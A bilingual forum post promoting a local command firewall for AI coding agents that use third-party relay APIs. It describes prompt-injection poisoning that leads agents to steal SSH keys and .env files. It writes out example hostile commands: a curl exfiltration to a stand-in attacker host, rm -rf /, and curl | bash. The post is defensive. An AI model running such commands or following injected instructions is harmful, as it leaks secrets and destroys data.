Hey everyone!
With autonomous coding agents like Cursor, Cline, and OpenCode becoming mainstream, a lot of folks here plug in various third-party relay APIs (One-API / New-API / cheap free-tier sites / assorted group-buy pools) to save money.
Cheap and hassle-free, sure — but a lot of people overlook one really nasty security gap:
These autonomous agents have real permission to invoke the system shell and read/write local files. The moment an upstream relay model gets maliciously poisoned (prompt injection), or an upstream node gets compromised, the agent could silently run high-risk commands on your machine or server!
To deal with this, I hacked together and open-sourced a lightweight local zero-trust security gateway — Cerberus (local command firewall for AI agents). The code is fully open source, makes no external network requests, and runs 100% locally on 127.0.0.1.
🚨 Common relay API poisoning and jailbreak risks
- Silent credential theft: The model gets tricked into quietly reading your local
~/.ssh/id_rsa,.env, or DB config and exfiltrating it viacurl -d @.env http://attacker-collector.xyz. - Destructive command execution: The upstream feeds it obfuscated system instructions (e.g.
rm -rf /, or silently reformatting disks or tampering with the hosts file on Windows). - Malicious dependency installs: Disguised as "fixing a dependency issue," it talks the agent into running an unknown remote script —
curl | bash.
🛡️ How Cerberus protects your local environment
Cerberus sits like a transparent firewall between the AI agent and your local OS:
- Zero external dependencies (zero-trust): Pure local Node.js, no telemetry, no external uploads — your private code and keys never leave the machine.
- Millisecond full-spectrum risk scoring (0-100): Real-time scoring across multiple dimensions — high-risk path filtering, destructive command regexes, external data exfiltration detection, and more.
- Tiered handling:
- ALLOW: Normal dev commands (
git status,npm run build,cargo test) pass through in milliseconds, completely seamless. - AUDIT: Low-risk operations get written to a local audit log for later review.
- HOLD: Sensitive operations (like bulk directory changes or writing sensitive config) are paused, and a prompt pops up in the terminal/web console — you press
yto approve. - BLOCK: Critical commands (deleting the system root, accessing private keys) are blocked in seconds and the model gets a permission-denied response.
- ALLOW: Normal dev commands (
- Local monitoring dashboard: Ships with a ready-to-use web panel (
http://127.0.0.1:8787) so you can watch every move the agent makes in real time.
🚀 Quick deployment
Requirements: Node.js >= 20, git
# 1. Clone the repo
git clone https://github.com/03viceboll/ai-agent-firewall.git
cd ai-agent-firewall
# 2. Install dependencies
npm install
# 3. Start the guard engine (Windows: double-click start-engine.bat; Linux/macOS: ./start-engine.command)
node bin/cerberus.mjs start
📂 Repository
👉 GitHub: https://github.com/03viceboll/ai-agent-firewall
Licensed under Apache-2.0, fully transparent code. You're all welcome to review it, drop a Star ⭐️, or send suggestions! If you're worried about local security while messing with various relay APIs, I'd recommend keeping this little tool running — it's a lot more peace of mind. And if you've run into any weird commands from agents in daily use, feel free to share them in this thread~
各位老哥好!
随着 Cursor、Cline、OpenCode 等自主编程 Agent 的普及,社区里很多朋友为了节省开销,都会接入各种第三方中转 API(One-API / New-API / 廉价公益站 / 各种拼车车队)。
虽然便宜省心,但很多人忽略了一个非常致命的安全短板:
这些自主 Agent 拥有调用系统 Shell、读写本地文件的真实权限。一旦上游中转模型被恶意投毒(Prompt Injection),或者上游节点被攻击篡改,Agent 就可能在你的电脑或服务器上静默执行高危指令!
为了解决这个问题,我自己折腾并开源了一个轻量级本地零信任安全网关 - Cerberus (AI Agent 本地命令防火墙)。代码现已完全开源,没有任何外部网络请求,100% 运行在本地 127.0.0.1。
🚨 常见中转 API 投毒与越狱风险
- 凭证被动窃取: 模型被恶意诱导静默读取本地的
~/.ssh/id_rsa、.env、数据库配置,并通过curl -d @.env http://attacker-collector.xyz偷偷回传。 - 破坏性指令执行: 上游下发混淆的系统指令(例如
rm -rf /、Windows 下的静默格式化或篡改系统 hosts)。 - 恶意依赖安装: 伪装成解决依赖问题,诱导 Agent 执行未知远端脚本文档
curl | bash。
🛡️ Cerberus 是如何守护本地环境的?
Cerberus 像一堵透明的防火墙,横跨在 AI Agent 与本地操作系统之间:
- 0 外部依赖 (Zero-Trust): 纯本地 Node.js 运行,没有任何遥测和外部数据上传,私有代码与密钥不出本机。
- 毫秒级全方位风险评分 (0-100): 基于高危路径过滤、破坏性命令正则、外部网络数据外发检测等多维度实时打分。
- 分级处置机制:
- ALLOW (安全): 正常开发指令(
git status,npm run build,cargo test)毫秒级放行,丝滑无感。 - AUDIT (审计): 低风险操作记录到本地审计日志,备查追溯。
- HOLD (人工确认): 敏感操作(如大范围修改目录、写入敏感配置)暂停执行,并在终端/Web控制台弹出提醒,需人工按
y批准。 - BLOCK (阻断): 极危指令(删除系统根、访问私钥)秒级拦截并向模型返回权限拒绝。
- ALLOW (安全): 正常开发指令(
- 本地监控看板: 内置开箱即用的 Web 管理面板 (
http://127.0.0.1:8787),实时查看 Agent 的每一个动作。
🚀 极速部署使用
环境要求: Node.js >= 20,git
# 1. 克隆开源仓库
git clone https://github.com/03viceboll/ai-agent-firewall.git
cd ai-agent-firewall
# 2. 安装依赖
npm install
# 3. 启动守护引擎 (Windows 双击 start-engine.bat,Linux/macOS 执行 ./start-engine.command)
node bin/cerberus.mjs start
📂 开源仓库地址
👉 GitHub: https://github.com/03viceboll/ai-agent-firewall
遵循 Apache-2.0 开源协议,代码完全透明,欢迎各位老哥审查、点个 Star ⭐️ 或提出建议!如果在折腾各种中转 API 时担心本地环境安全,推荐挂上这个小工具跑着,安心很多。大家日常用 Agent 遇到过什么奇葩指令也可以在帖子里交流~
Translated by AI from 简体中文Original (简体中文)
快银 VPN,一键连接全球节点,线路稳定、延迟低。支持 Windows、macOS 等多平台,TUN 全局模式覆盖全部应用流量。无需复杂配置,下载即用。
8 replies
Sort order